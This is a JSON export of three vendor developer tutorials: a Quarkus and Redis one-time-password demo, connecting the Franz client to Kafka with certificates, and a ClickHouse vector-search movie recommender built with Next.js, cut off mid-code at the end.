{"__i18n_lang":"en","_createdAt":"2023-03-24T15:20:54Z","_id":"9b5a36bf-8d80-4078-8917-50a84cd9b257","_rev":"2rELLQTW1ADhr05h4N7alO","_type":"devArticle","_updatedAt":"2024-06-19T13:10:33Z","body":"When building applications that run on Kubernetes, you want the start-up time and footprint to be small. Traditonal Java applications like to consume more than their constrained memory and CPU and you might have seen `OOMKilled` errors in your production applications. Brace yourself as this blog takes you on a \"supersonic\" journey with [Quarkus](https://quarkus.io/) (a fast and lightweight Java framework) and Aiven for Caching (fast in-memory data structure store). \n\n### Building a small one-time-password application\n\nImagine that you're building a one-time-password feature as part of a larger project. Your team is using Java, which they're familiar with, and Quarkus as the framework because they want the application to be Kubernetes-compatible (in terms of size and startup time). \n\nBesides a relational database, the team is also using Redis for fast querying of the generated one-time-passwords. This example uses [Aiven for Caching](https://aiven.io/caching) and you can [sign up for a free trial](https://console.aiven.io/signup) if you want to try it out.   \n\nAn important consideration for your team is that both Quarkus and Aiven for Caching are open-source projects.\n\n### Before you start\n\nTo follow the hands-on portion of this blog, here are the software requirements:\n\n- [JDK 11+](https://openjdk.java.net/install/) \n- [Apache Maven 3.8.1+](https://maven.apache.org/install.html)\n- A [local Redis](https://redis.io/download/) or [managed](https://aiven.io/caching) Aiven for Caching instance \n\n### Time to build the app\n\n#### Create a Maven Project\n\nThe following command creates a new Maven project and adds the required extensions to your project. The Quarkus `redis-client` extension allows the user to connect to a Aiven for Caching server and run Redis commands. The `resteasy-jackson` extension allows to build RESTful web services and to process JSON data format. The `resteasy-mutiny` extension helps to build reactive APIs for asynchronous systems. \n\n```\nmvn io.quarkus.platform:quarkus-maven-plugin:3.7.3:create \\\n    -DprojectGroupId=org.acme \\\n    -DprojectArtifactId=one-time-password \\\n    -Dextensions=\"redis-client,resteasy-jackson\" \\\n    -DnoCode\ncd one-time-password\n```\n\n#### Getting the Aiven for Caching server details\n\nCreate an [Aiven for Caching](https://developer.aiven.io/docs/products/caching/get-started.html) instance. For this exercise, any service plan will do. Once the Aiven for Caching service is running, copy the **Service URI** from the *Overview* \u003e *Connection information* tab. \n\nGo to your favorite code editor and open the `one-time-password` project. Paste the **Service URI** to the `src \u003e main \u003e resources \u003e application.properties` file:\n\n```\nquarkus.redis.hosts=[YOUR REDIS CONNECTION INFORMATION GOES HERE]\n```\n\nIf you're running Redis on your local machine, use the following settings:\n\n```\nquarkus.redis.hosts=redis://localhost:6379 \n```\n\n#### Create the Otp POJO (Plain Old Java Object)\n\nThe `Otp` class creates a POJO (Plain Old Java Object) to hold the `session_key` and `otp_value`. The `generateRandomOtp` method generates a random value within a given range. \n\nCreate the `src/main/java/org/acme/redis/Otp.java` file and add the following:\n\n```\npackage org.acme.redis;\nimport java.util.Random;\n\npublic class Otp {\n    final int lowRange = 100000;\n    final int highRange = 999999;\n    public String session_key;\n    public int otp_value;\n\n    public Otp(String session_key) {\n        this.session_key = session_key;\n        this.otp_value = generateRandomOtp(lowRange, highRange);\n    }\n\n    public Otp() {}\n\n    private static int generateRandomOtp(int low, int high) {\n\n        // Generate random int value from $low to ($high - 1)\n        return low + new Random().nextInt(high - low);\n    }\n}\n```\n\n#### Create the Otp Service\n\nYou are going to create the `OtpService` which will play the role of a Redis client. This class will help you perform the `GET`, `EXISTS`, `SETEX`, `SETNX`, and `TTL` Redis commands. For documentation on these see the [official Redis commands page](https://redis.io/commands/).\n\nCreate the `src/main/java/org/acme/redis/OtpService.java` file and add the following:\n\n```\npackage org.acme.redis;\nimport io.quarkus.redis.datasource.RedisDataSource;\nimport io.quarkus.redis.datasource.keys.KeyCommands;\nimport io.quarkus.redis.datasource.value.ValueCommands;\nimport jakarta.inject.Singleton;\n\n@Singleton\nclass OtpService {\n    final long timeInSeconds = 20;\n\n    \n    RedisDataSource redisDataSource;\n\n    private final ValueCommands\u003cString, String\u003e commands;\n    private final KeyCommands\u003cString\u003e keyCommands;\n\n    public OtpService(RedisDataSource redisDataSource) {\n        this.redisDataSource = redisDataSource;\n        commands = redisDataSource.value(String.class);\n        keyCommands = redisDataSource.key();\n    }\n\n    public String getOtp(String session_key) {\n        return commands.get(session_key).toString();\n    }\n\n    public void newOtp(String session_key) {\n        Otp otp = new Otp(session_key);\n\n        // SETNX will only create a key if it doesn't already exist\n        // - so we won't overwrite an existing OTP value\n        // Unfortunately SETNX can't set the TTL/expiration time\n        if (commands.setnx(otp.session_key.toString(), String.valueOf(otp.otp_value))) { \n\n            // Only update TTL/expiration if the OTP value was set\n            commands.setex(otp.session_key.toString(),\n                timeInSeconds,\n                String.valueOf(otp.otp_value));\n        }\n    }\n\n    public String getOtpTTL(String session_key) {\n        return Long.toString(keyCommands.ttl(session_key));\n    }\n\n    public boolean keyExists(String session_key) {\n        return keyCommands.exists(session_key);\n    }\n}\n```\n\n#### Create the Otp Resource\n\nCreate the `src/main/java/org/acme/redis/OtpResource.java` file where you define the HTTP endpoints for your one-time-password service. \n\nObserve the `@Inject` annotation to easily create the service instance and `@Path(\"/otp\")` to indicate the creation of the HTTP endpoints. The same endpoint is used for both `GET` and `POST` calls. The great thing of using a framework like Quarkus is that without the annotations, you would have to write multiple lines of code to achieve the same outcome.\n\n```\npackage org.acme.redis;\nimport jakarta.inject.Inject;\nimport jakarta.ws.rs.GET;\nimport jakarta.ws.rs.POST;\nimport jakarta.ws.rs.Path;\nimport jakarta.ws.rs.QueryParam;\nimport io.vertx.core.json.JsonObject;\n\n@Path(\"/otp\")\npublic class OtpResource {\n    @Inject\n    OtpService service;\n\n    @GET\n    public JsonObject getOtp(@QueryParam(\"session_key\") String session_key) {\n\n        // If the key doesn't exist, return an error response rather than the usual\n        // object response\n        if (!service.keyExists(session_key)) {\n            return errorResponse();\n        }\n        JsonObject result = new JsonObject();\n        result.put(\"OTP: \", service.getOtp(session_key));\n        result.put(\"TTL: \", service.getOtpTTL(session_key));\n        return result;\n    }\n\n    JsonObject errorResponse() {\n        JsonObject result = new JsonObject();\n        result.put(\"Message: \", \"The OTP key doesn't exist.\");\n        return result;\n    }\n\n    @POST\n    public void newOtp(@QueryParam(\"session_key\") String session_key) {\n        service.newOtp(session_key);\n    }\n}\n```\n\n### Run your new Quarkus app\n\nFrom the root of your one-time-password project, execute the following command:\n\n```\n ./mvnw quarkus:dev\n```\n\nNavigate to `http://localhost:8080/otp?session_key=[SOME_KEY]`, replacing `[SOME_KEY]` with any text. For your initial run, you'll receive an error response like this:\n\n```\n\"Message: \": \"The OTP key doesn't exist.\"\n```\n\nThis is because this key doesn't exist in Redis yet. From your terminal, make the following *POST* request to create your key:\n\n```\ncurl --location --request POST 'http://localhost:8080/otp?session_key=[SOME_KEY]'\n```\n\nNow reload your browser and you should receive a random 6-digit number as a one-time-password that expires in 20 seconds. If you wait more than 20 seconds, it will expire and you'll receive the error response again. \n\nIf you keep refreshing the page, you'll be getting the same OTP until the (time-to-live) TTL  runs out.\n\nYou might also realize that you didn't have to do any server setup/handling for this application as Quarkus took care of that for you. Pretty cool, eh?\n\n### Further learning\n\nIn this blog, I provided you with a getting started experience with Aiven for Caching and demoed a use case by building a simple one-time-password application using the Quarkus framework. The design and implementation of actual one-time-password software is far more complex than the simple application mentioned here; for instance, it would probably not want to give the same OTP to different users.  \n\nTo learn more about Quarkus:\n\n- [Quarkus project documentation](https://quarkus.io/)\n\nTo learn more about Redis and Aiven for Caching:\n\n- [Redis documentation](https://redis.io/docs/)\n- [Aiven for Caching - Developer Documentation](https://developer.aiven.io/docs/products/caching/)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:20:48.824Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"d284ec43e12f","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-08-10T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-008c5554f158f97382f4f8e1baacce72c25d930d-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/redis-and-quarkus-app"},"subtitle":"Traditional Java apps are notorious for being large and slow to start. Read on to see how to use Quarkus and Aiven for Caching to make a Kubernetes-friendly Java app.","tags":[{"_key":"e9bad9a172cb","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"},{"_key":"c28a2e754809","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"9ec5b9c1b5f7","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Lightweight and blazing-fast Java app using Quarkus and Aiven for Caching"}
{"__i18n_lang":"en","_createdAt":"2024-01-10T12:16:33Z","_id":"2c038d93-9c3c-472b-a79c-5a64615156f8","_rev":"zYSUUPkF4TH1RAKzpzesRt","_type":"devArticle","_updatedAt":"2024-03-18T12:17:04Z","body":"[Franz](https://franz.defn.io) is a native Mac and Windows desktop client for Apache Kafka.\n\n\n## Connect using client certificate authentication (CCA)\n\n1. Visit the **Service Overview** page for your Aiven for Apache Kafka® service.\n2. Download the **Access Key**, **Access Certificate** and **CA Certificate**.\n3. Rename the **Access Key** from ``service.key`` to ``service.key.pem``:\n\n```\nmv service.key service.key.pem\n```\n\n4. Combine the **Acess Certificate** and **CA Certificate** files into one:\n\n```\ncat service.cert ca.pem \u003e combined.pem\n```\n\n3. In Franz, choose **New Connection...** and\n\n   * enter your cluster **Host** and **Port** under the **Bootstrap\n     Host** and **Port** fields,\n   * tick the **Enable SSL** checkbox,\n   * click the **SSL Key...** button and select the ``service.key.pem`` file,\n   * click the **SSL Cert...** button and select the ``combined.pem`` file.\n\n![Screenshot of the Franz connection configuration window](https://cdn.sanity.io/images/sczeoy4w/production/84d8972985df4510039730cc40f57f8be1e1fa66-1710x934.png)\n\n4. Finally, click **Connect** to connect to your cluster.\n\nOnce connected, you can read the [Franz Manual](https://franz.defn.io/manual/) to learn more about using this tool.","feature":{"_type":"featuredItem","active":false,"endDate":"2024-01-17T12:11:02.937Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"d9045bbf4012","_ref":"36bb61b8-a6d5-45b4-ae46-6b9e8aab64a6","_type":"tag"},{"_key":"2d01da009988","_ref":"8fe00684-fc9b-413d-9f61-98889297feec","_type":"tag"}],"publishedAt":"2023-08-01T11:16:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"Connect to Apache Kafka® with Franz\" in white text on a dark blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-199207758c6aac66419de70ce85f772bada810a9-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/connect-to-apache-kafka-with-franz"},"subtitle":"Franz is a desktop client for managing Apache Kafka® deployments. Learn how to connect to an Aiven for Apache Kafka® service using Franz","tags":[{"_key":"418531d7b68a","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"5bf217799e21","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Connect to Apache Kafka® with Franz"}
{"__i18n_lang":"en","_createdAt":"2023-09-15T11:38:49Z","_id":"25ac0060-4896-40d9-9c76-65ab0d7c8ccc","_rev":"EXzA9uxcM5girV4aqRyAim","_type":"devArticle","_updatedAt":"2024-10-28T16:02:13Z","body":"Vector search is an incredibly useful technique when you need to rely on the meaning and context of unstructured text to find something specific, for example, when building recommendation systems. In this article we'll build a recommendation engine to find a movie to watch. We'll build a project that uses vector search to find the perfect movie based on user input.\n\n\u003c!--\n::banner[Curious to learn more about vector search? ]{ctaText=\"Read more and register\" ctaLink=\"https://aiven.io/workshop/movie-recommender-with-tensorflow-pgvector\" title=\"Free online workshop: Build a movie recommendation app with Tensorflow and pgvector\" background=\"\" theme=\"light\"}\n--\u003e\n\nWe'll use [ClickHouse®](https://aiven.io/clickhouse), a fast open-source column-oriented database, which already supports built-in vector comparison capabilities. To visualize our results, we'll rely on [Next.js](https://nextjs.org/) and to we'll get vector embeddings using some free tools and a [HuggingFace](https://huggingface.co/) model.\n\nBy the end, you'll not only understand how to use vector search with ClickHouse but also how to seamlessly integrate it all within the Next.js framework.\n\nBefore we dive in, a moderate understanding of JavaScript, along with a familiarity with Node.js and npm, will come in handy. There will be no need to run the model locally; I'll share all the necessary data with you. Wowever, if you wish to do so, you'll find some useful Python scripts to have fun and get your hands dirty.\n\nIf you're impatient and want to see the end result, you can find the complete code in [this GitHub repository](https://github.com/Aiven-Labs/find-your-movie-clickhouse-vectorsearch).\n\n![What to expect at the end - a small demo searching in the movies for a lot of cute puppies](https://cdn.sanity.io/images/sczeoy4w/production/c7bf39cfd74e724c87c9f4fc142836fa046fdb0d-800x481.gif)\n\n## Step 1: Get the dataset\n\nFirst things first – we need a dataset. One excellent option is the movie dataset available on Kaggle. You can download it [directly from Kaggle](https://www.kaggle.com/datasets/jrobischon/wikipedia-movie-plots). This dataset provides an assortment of movies together with their plots, creation years, and other details that we can use for our recommendation engine. In particular, the field `plot` contains all the details what the movie is about and we can use it when creating vector embeddings for each of the movies.\n\n## Step 2: Generate vector embeddings for each of the movies\n\nFor vector search to work its magic, we'll naturally need some vectors! We actually need two sets of vector embeddings. First, each movie plot within our collection needs a corresponding embedding. Our movie dataset has almost 35000 items and we need to process each of them individually.\nSecondly, the search phrase entered by a user should also be converted into an embedding to allow us to do the comparison with each of existing movie plots and find what results scores the best.\n\nWhile ClickHouse is excellent at comparing vectors, generating these vectors happens outside of the database and requires a sentence transformer that already uses a trained model.\n\nThere are various approaches for obtaining these embeddings. One option is to use a free API provided by Hugging Face. For small amounts of data, this API is perfect. However, for more substantial datasets (and ours isn't very small), it might be not the most efficient solution. My experience showed that Hugging Face API has a tendency to randomly return errors, and the rate limit for the Inference API is sadly not public. To avoid frustration we'll use the API only to generate embeddings for the search phrase.\n\nFor the dataset itself running the model locally makes it significantly faster to append vector embedding to each of the movies. The technical details of embedding creation are beyond the scope of this guide, but you can find the script  I used (and plenty of comments there) [in extra\n/embeddings-generator.py](https://github.com/Aiven-Labs/find-your-movie-clickhouse-vectorsearch/blob/main/extra/embeddings-generator.py) . However, I'd recommend you just download [the JSON file containing complete dataset](https://drive.google.com/file/d/11I8IqMeiOPFHkcGqk1n3I_MkXU4w3YCI/view?usp=sharing) including vector embeddings. The sentence transformer that I used is called *all-mpnet-base-v2*, and it mapped each of the movie plots to a *768-dimensional* dense vector space.\n\nNow that we have dataset with the embeddings, we're ready to load the data into the database.\n\n## Step 3: Load data into ClickHouse\n\nI opted to use [Aiven for ClickHouse®](https://aiven.io/clickhouse) which comes with a free trial, you can [register Aiven account here](https://go.aiven.io/olena-signup). For this experiment the smallest plan will be sufficient.\n\nOnce your ClickHouse server is up and running, we'll use the ClickHouse Client for database operations. Docker containers make it easier especially if you're using anything but Linux. You will need to pull [ClickHouse Server Docker Image](https://hub.docker.com/r/clickhouse/clickhouse-server/) it includes the client that we'll need to run SQL commands (more detailed instructions can be found [in our documentation](https://aiven.io/docs/products/clickhouse/get-started).\n\nConnection details to your ClickHouse server can be found on the server's page, in particular we're interested in the tab **ClickHouse Native**:\n\n![Where to find ClickHouse connection properties](https://cdn.sanity.io/images/sczeoy4w/production/ff07f8632f02d730619db62085d6289462477d67-3294x1628.png)\n\nTo connect to the ClickHouse client, replace the placeholders with the information from your ClickHouse server in the command below and run it:\n\n```bash\ndocker run -it --rm clickhouse/clickhouse-server clickhouse-client --user CLICKHOUSE_NAME --password CLICKHOUSE_PASSWORD --host CLICKHOUSE_HOST --port CLICKHOUSE_PORT --secure\n```\n\nThis will bring you inside the client. Now you can create a table for the movies:\n\n```sql\nCREATE TABLE movie_plots (\n  title String,\n  director String,\n  cast String,\n  genre String,\n  plot String,\n  year Int16,\n  wiki String,\n  embedding Array(Float32)\n) \nENGINE = MergeTree()\nORDER BY title;\n```\n\nTo load data from your local file into the ClickHouse server, open a separate tab (so you step away from the client for this), navigate to the folder where the dataset is located and run:\n\n```bash\ncat movie_plots_with_embeddings.json | docker run        \\\n--interactive                                            \\\n--rm clickhouse/clickhouse-server clickhouse-client      \\\n--user CLICKHOUSE_NAME                                   \\\n--password CLICKHOUSE_PASSWORD                           \\\n--host CLICKHOUSE_HOST                                   \\\n--port CLICKHOUSE_PORT                                   \\\n--secure                                                 \\\n--max_insert_block_size=100000                           \\\n--query=\"INSERT INTO movie_plots FORMAT JSONEachRow\"\n```\n\nData loading will take a moment, and once completed, you can test by running a select query from the client:\n\n```sql\nSELECT count() FROM movie_plots;\n```\n\nThis should show you 34886, the number of movie plots we have in the dataset.\n\n## Step 4: Transform the search phrase into vectors\n\nIn this and next sections we'll dissect the process of retrieving an embedding and making a ClickHouse request to find the distance from the search phrase to the nearest similarity. For this we'll do some manual work to request, copy and use an embedding with ClickHouse. If you want, you can choose to skip to the section 6, to proceed directly creating the proper interface with Next.js (and avoid copy-pasting an array consisting of 768 float values!)\n\nWhen searching for movies, a user of our app inputs a search phrase like \"a girl who wanted to be a magician\". To compare this phrase with movie plots and find the best match, the search phrase too must be converted into a vector. For this we'll use Hugging Face API and a piece of NodeJS code.\n\nWhile Hugging Face API is free, you'll still need an authentication token. Sign up [at Hugging Face](https://huggingface.co/) and create your token in the settings - access tokens.\n\nAnd now you can use it in the code. The basic Node.JS code we'll look like this:\n\n```js\n// The sentence transformer we'll use (the same one used for movie plots)\nconst api_url = \"https://api-inference.huggingface.co/pipeline/feature-extraction/sentence-transformers/all-mpnet-base-v2\";\n// Authentication token for Hugging Face (best to keep it in environment variables)\nconst headers = {\n  Authorization: `Bearer YOUR_HUGGING_FACE_TOKEN`,\n};\n\n// Fetch request to the Hugging Face API\nmodule.exports.getEmbedding = async function(text) {\n  const options = {\n    method: \"POST\",\n    headers,\n    body: JSON.stringify({ inputs: text, options: { wait_for_model: true } }),\n  };\n\n  try {\n    const response = await fetch(api_url, options);\n    return await response.json();\n  } catch (error) {\n    throw new Error(`Request to get embedding ${text} failed: ${error}`);\n  }\n};\n```\n\nAssuming you save this code in a file named `embeddings.js`, you can test it by running the following in a terminal:\n\n```bash\nnode -e \"const module = require('./embeddings'); module.getEmbedding('a lot of cute puppies').then(result =\u003e console.log(result)).catch(error =\u003e console.error(error));\"   \n```\nThis makes a request to HuggingFace API and return a set of vectors representing the text phrase.\n\n![Screenshot showing example response with vectors](https://cdn.sanity.io/images/sczeoy4w/production/2087dc87f19d252e6b6455dca8875d7c5ed969f9-2858x1724.png)\n\nThis obviously not the way we run things in production, but for now we just want to get an example of the vector embedding, so that we can run a simple test with ClickHouse. To prevent Node.js from shortening the response, you can apply `JSON.stringify` and then copy the complete array. We'll need this for the next step!\n\n```bash\nnode -e \"const module = require('./embeddings'); module.getEmbedding('a lot of cute puppies').then(result =\u003e console.log(JSON.stringify(result))).catch(error =\u003e console.error(error));\"   \n```\n\n## Step 5: Testing vector search with ClickHouse\nNow comes the exciting part – utilizing these vectors to find the most relevant movie plots to a given search phrase. ClickHouse has a variety of functions to calculate distances, the most useful for us is `L2Distance`, a function that calculates the distance between two points in Euclidean space. What we need to do is to go through all the movie plots and compare how far each of them is from our search phrase. ClickHouse will calculate the distance and sort the movies by the distance and return top results with the minimal value for the distance.\n\n```sql\nSELECT\n\ttitle, plot, year, director,\n\tL2Distance(embedding, [ADD SEARCH PHRASE EMBEDDINGS HERE]) AS score\nFROM movie_plots\nORDER BY score ASC\nLIMIT 10;\n```\n\nThis query returns a list of the ten movie plots most closely related to the search phrase.\n\n![Screenshot of the result returned by ClickHouse](https://cdn.sanity.io/images/sczeoy4w/production/6a1f6e6c938520ed30872d02049cf87c9a3630ab-3320x1190.png)\n\nWhile this is certainly functional, manually copying and pasting embeddings into the ClickHouse client is undoubtedly cumbersome. In the upcoming section, we'll introduce a more convenient solution.\n\n## Step 6: Creating a friendly interface with Next.js\n\nJavaScript is exceptionally widespread when building websites, and with Next.js, we can seamlessly combine frontend layout and backend functionality.\n\n### Step 6.1: Generating the boilerplate\n\nTo kickstart a simple Next.js project, run the following command:\n\n```bash\nnpx create-next-app@latest\n```\n\nI chose the following settings: \n\n![Screenshot with the settings when creating a new Next.Js app](https://cdn.sanity.io/images/sczeoy4w/production/c2dd7efe0b92fbf3f0931b6d6a246e7935549ca4-2898x1672.png)\n\nYou can start the server by running:\n\n\n```bash\nnpm run dev\n```\nUpon opening `http://localhost:3000`, you'll see the loading page. However, we'll begin with the backend first (don't worry, we'll switch to frontend soon!).\n\nThere is already included an example API service called `hello`, it is accessible via `http://localhost:3000/api/hello`. The code for it can be found in *pages/api/hello.ts*. We'll be adding our own backend API calls in a similar manner.\n\n### Step 6.2: Initialize the backend\n\nIn the folder `/pages/api/` add a file named `recommendations.ts`. This is where we'll house all our backend logic. Start with this initial content:\n\n```js\nexport default async function handler(req, res) {\n  res.status(200).json(\"Here we'll return the recommendations.\");\n}\n```\n\nYou can test the result of this call by opening `http://localhost:3000/api/recommendations`. \n\n![Screenshot of still mostly empty backend call](https://cdn.sanity.io/images/sczeoy4w/production/792c01fb581c8a5f24c9f7363a6a74783a769d94-2250x210.png)\n\nNow we can start adding the logic to send requests to the Hugging Face API to retrieve embeddings and then communicate with ClickHouse to fetch recommendations.\n\nIn preparation to the next step, let's collect the credential and connection information for API services in the same place. You can use [dotenv](https://github.com/motdotla/dotenv) for easy access to process environments. Install it with:\n```bash\nnpm install dotenv --save\n```\nThen create a `.env` file in your project and add information on all we need to access Hugging Face API and Aiven for ClickHouse service. \n\n```js\nHUGGING_FACE_TOKEN=\nCLICKHOUSE_HOST=\nCLICKHOUSE_USERNAME=\nCLICKHOUSE_PASSWORD=\n```\n\n### Step 6.3: Getting embeddings for a search phrase using free Hugging Face API\n\nGetting embeddings for a search phrase from Hugging Face follows a similar approach to using an individual Node.js file, but with a few tweaks to accommodate Next.js. The default `handler` function serves as our interface, and we use `getEmbedding` to encode the input value:\n\n```js\nconst api_url = \"https://api-inference.huggingface.co/pipeline/feature-extraction/sentence-transformers/all-mpnet-base-v2\";\nconst headers = {\n  Authorization: `Bearer ${process.env.HUGGING_FACE_TOKEN}`,\n};\n\nasync function getEmbedding(text) {\n  const options = {\n    method: \"POST\",\n    headers,\n    body: JSON.stringify({ inputs: text, options: { wait_for_model: true } }),\n  };\n\n  try {\n    const response = await fetch(api_url, options);\n    return await response.json();\n  } catch (error) {\n    throw new Error(`Request failed: ${error}`);\n  }\n}\n\nexport default async function handler(req, res) {\n    const searchPhraseEmbedding = await getEmbedding(req.body.search);\n    res.status(200).json(`For now, we'll output the embeddings only: ${searchPhraseEmbedding}`);\n}\n```\n\nIf this works, you should see a lengthy list of vectors. If not, double-check the error and ensure you're using a valid Hugging Face API token and do not surround it in quotes when adding to `.env` file. \n\n![Testing http://localhost:3000/api/recommendations to return the embedding](https://cdn.sanity.io/images/sczeoy4w/production/59b4eb202d177f1ab8c9b7ed58398483fa81d0a9-2774x914.png)\n\n###  Step 6.4: Adding ClickHouse functionality with ClickHouse JavaScript client\n\nClickHouse offers the [ClickHouse JavaScript client](https://clickhouse.com/docs/en/integrations/language-clients/javascript) to send requests to the server. To install it, run:\n```bash\nnpm i @clickhouse/client\n```\n\nNow, in our `recommendations.ts` file, include the following lines to establish a connection with the cluster:\n\n```js\nimport { createClient } from '@clickhouse/client'\n\nconst client = createClient({\n  host: process.env.CLICKHOUSE_HOST,\n  username: process.env.CLICKHOUSE_USER,\n  password: process.env.CLICKHOUSE_PASSWORD,\n})\n```\n\nLet's modify our handler to test whether the connection with ClickHouse is functioning:\n\n```js\nexport default async function handler(req, res) {\n    const searchPhraseEmbedding = await getEmbedding(req.body.search);\n    const query = await client.query({\n        query: \"SELECT title, plot, year, directors, wiki, FROM movie_plots LIMIT 10\"\n    });\n    const response = await query.json();\n    res.status(200).json(response.data);\n}\n```\n\nThis should retrieve the first 10 items from our movie dataset. \n\n![Testing that we have a connection to ClickHouse server by retriving first 10 items from the table](https://cdn.sanity.io/images/sczeoy4w/production/58a85c6bc66249ec59351a6bb2d4758d343d5cb4-2768x900.png)\n\nWe're nearly there! Let's combine the Hugging Face API call and the ClickHouse call to retrieve the list of recommendations based on the search phrase embedding.\n\n###  Step 6.4: Testing complete backend flow\n\nSince we don't have a real frontend yet to collect user input, you can use any string for testing:\n```js\nexport default async function handler(req, res) {\n  const searchPhraseEmbedding = await getEmbedding(\"a lot of cute puppies\");\n\n  const query = await client.query({\n    query: `SELECT title, plot, year, director, wiki, L2Distance(embedding, [` + searchPhraseEmbedding.toString() + `]) AS score FROM movie_plots ORDER BY score ASC LIMIT 10`\n  });\n  const response = await query.json();\n  res.status(200).json(response.data);\n}\n```\n\nThis should return the 10 best suggestions based on your search phrase. \n\n![Testing the complete backend setup](https://cdn.sanity.io/images/sczeoy4w/production/6e566df9891d8362420fcd63bf51e734d13f4dd7-2768x892.png)\n\n###  Step 6.5: Adding the frontend\n\nIn this section, we'll modify the landing page, `index.tsx`.\n\nWe'll need two elements: a search input for user input and a list to display results.\n\nWith these basics in place and a basic UI, it looks like this:\n\n```js\nimport { useRef, useState } from 'react';\n\nexport default function Home() {\n    const [plots, setPlots] = useState([]);\n    const searchInput = useRef();\n\n    function search(event) {\n        event.preventDefault();\n        const enteredSearch = searchInput.current.value;\n        fetch('/api/recommendations', {\n            method: 'POST',\n            body: JSON.stringify({\n                search: enteredSearch\n            }),\n            headers: {\n                'Content-Type': 'application/json'\n            }\n        })\n        .then(response =\u003e response.json())\n        .then(data =\u003e setPlots(data));\n    }\n\n    return (\n        \u003c\u003e\n            \u003cdiv\u003e\n                \u003cform onSubmit={search}\u003e\n                    \u003clabel htmlFor=\"default-search\"\u003eSearch\u003c/label\u003e\n                    \u003cinput\n                        type=\"search\"\n                        id=\"default-search\"\n                        ref={searchInput}\n                        required\n                    /\u003e\n                    \u003cbutton type=\"submit\"\u003eSearch\u003c/button\u003e\n                \u003c/form\u003e\n            \u003c/div\u003e\n            \u003cdiv\u003e\n                {plots.map(item =\u003e (\n                    \u003c\u003e\n                        \u003cdiv\u003e\n                            Director: {item.director} Year: {item.year} Wiki: {item.wiki}\n                        \u003c/div\u003e\n                        \u003ch1\u003e{item.title}\u003c/h1\u003e\n                        \u003cp\u003e{item.plot}\u003c/p\u003e\n                    \u003c/\u003e\n                ))}\n            \u003c/div\u003e\n        \u003c/\u003e\n    );\n}\n```\n\nSince Next.js is built on React, we're using `useState` and `useRef`. Note that we use the `form onSubmit` method to trigger the search request.\n\n![First version of our frontend](https://cdn.sanity.io/images/sczeoy4w/production/2445f589da59f8f9c4d660143ef73c1fedeaa73e-3060x880.png)\n\n###  Step 6.6: Adding some styling\n\nI'll confess – I'm not a designer. My best work tends to terrify most designers I know. So, feel free to change the layout, colors, and other visual aspects to your liking. To enhance the list of colors and fonts, add the following to `global.css`:\n\n```css\n@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@100\u0026display=swap');\n```\n\nAdjust the colors in the theme by modifying `tailwind.config.js`:\n\n```js\nconst colors = require('tailwindcss/colors')\n\nmodule.exports = {\n  content: [\n    './pages/**/*.{js,ts,jsx,tsx,mdx}',\n    './components/**/*.{js,ts,jsx,tsx,mdx}',\n    './app/**/*.{js,ts,jsx,tsx,mdx}',\n  ],\n  theme: {\n    extend: {\n      colors: {\n        veryDarkBlue: '#1B262C',\n        darkBlue: '#0F4C75',\n        lightBlue: '#3282B8',\n        veryLightBlue: '#BBE1FA',\n      },\n      fontFamily: {\n        sans: ['Poppins', 'sans-serif']\n      },\n    },\n  },\n  plugins: [],\n}\n```\n\nI've also added extra layout to the search input section:\n\n```js\n\u003csection id=\"shorten\" \u003e\n    \u003cdiv className=\"max-w-4xl mx-auto p-6 space-y-6\"\u003e\n        \u003cform onSubmit={search}\u003e\n            \u003clabel htmlFor=\"default-search\" className=\"mb-2 text-sm font-medium sr-only text-white\"\u003e\n                Search\n            \u003c/label\u003e\n            \u003cdiv className=\"relative\"\u003e\n                \u003cdiv className=\"absolute inset-y-0 left-0 flex items-center pl-3 pointer-events-none\"\u003e\n                    \u003csvg className=\"w-4 h-4 text-gray-400\" aria-hidden=\"true\"\n                         xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 20 20\"\u003e\n                        \u003cpath stroke=\"currentColor\" strokeLinecap=\"round\" strokeLinejoin=\"round\"\n                              strokeWidth=\"2\" d=\"m19 19-4-4m0-7A7 7 0 1 1 1 8a7 7 0 0 1 14 0Z\"/\u003e\n                    \u003c/svg\u003e\n                \u003c/div\u003e\n                \u003cinput\n                    type=\"search\"\n                    id=\"default-search\"\n                    ref={searchInput}\n                    className=\"block w-full p-4 pl-10 text-sm border rounded-lg  bg-gray-700 border-gray-600 placeholder-gray-400 text-white focus:ring-blue-500 focus:border-blue-500\"\n                    placeholder=\"Type what the movie should be about\"\n                    required\n                /\u003e\n                \u003cbutton\n                    type=\"submit\"\n                    className=\"text-white absolute right-2.5 bottom-2.5 focus:ring-4 focus:outline-none font-medium rounded-lg text-sm px-4 py-2 bg-lightBlue hover:bg-darkBlue focus:ring-blue-800\"\n                \u003e\n                    Search\n                \u003c/button\u003e\n            \u003c/div\u003e\n        \u003c/form\u003e\n    \u003c/div\u003e\n\u003c/section\u003e\n```\n\nI've added extra styles to the list of items as well:\n\n```js\n\u003cdiv className=\"flex gap-8 flex-wrap flex-col grow shrink items-start mx-24\"\u003e\n    {plots.map(item =\u003e (\n        \u003cdiv className=\"relative p-10 rounded-xl binline-block justify-start rounded-lg shadow-[0_2px_15px_-3px_rgba(0,0,0,0.07),0_10px_20px_-2px_rgba(0,0,0,0.04)] bg-darkBlue items-start\"\u003e\n            \u003cdiv className=\"text-6xl absolute top-4 right-4 